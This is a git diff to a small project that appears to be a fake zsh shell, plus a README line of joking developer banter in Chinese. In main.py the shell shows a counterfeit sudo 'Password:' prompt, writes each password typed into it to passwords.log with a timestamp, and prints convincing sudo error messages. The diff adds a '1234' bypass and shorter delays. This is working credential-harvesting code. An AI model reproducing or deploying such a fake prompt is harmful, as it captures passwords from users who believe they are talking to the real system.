diff --git a/README.md b/README.md index 473e0b1..2c337d0 100644 --- a/README.md +++ b/README.md @@ -12,4 +12,5 @@ ## ~~??????? ber哥们 我把你代码合并到main了啊~~ ### 好好好,其实说白了就是把zsh覆盖main改了几行就成合并了是吧 # 不然呢? -# 不是怎么还耍无赖了那? \ No newline at end of file +# 不是怎么还耍无赖了那? +? diff --git a/main.py b/main.py index 411a410..43a9f05 100644 --- a/main.py +++ b/main.py @@ -76,16 +76,26 @@ def pseudo_zsh(): continue # 伪造 sudo 密码输入并记录 + if args[0] == 'sudo': + flight1 = True + a = 0 for attempt in range(3): # 循环 3 次 + a += 1 fake_password = getpass.getpass("Password: ") + if fake_password == "1234": + print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") + flight1 = False + break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 - delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 + delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 - print("Sorry, try again.") - print("sudo: 3 incorrect password attempts") # 提示错误次数 + if a != 3: + print("Sorry, try again.") + if flight1: + print("sudo: 3 incorrect password attempts") # 提示错误次数 continue # 执行普通命令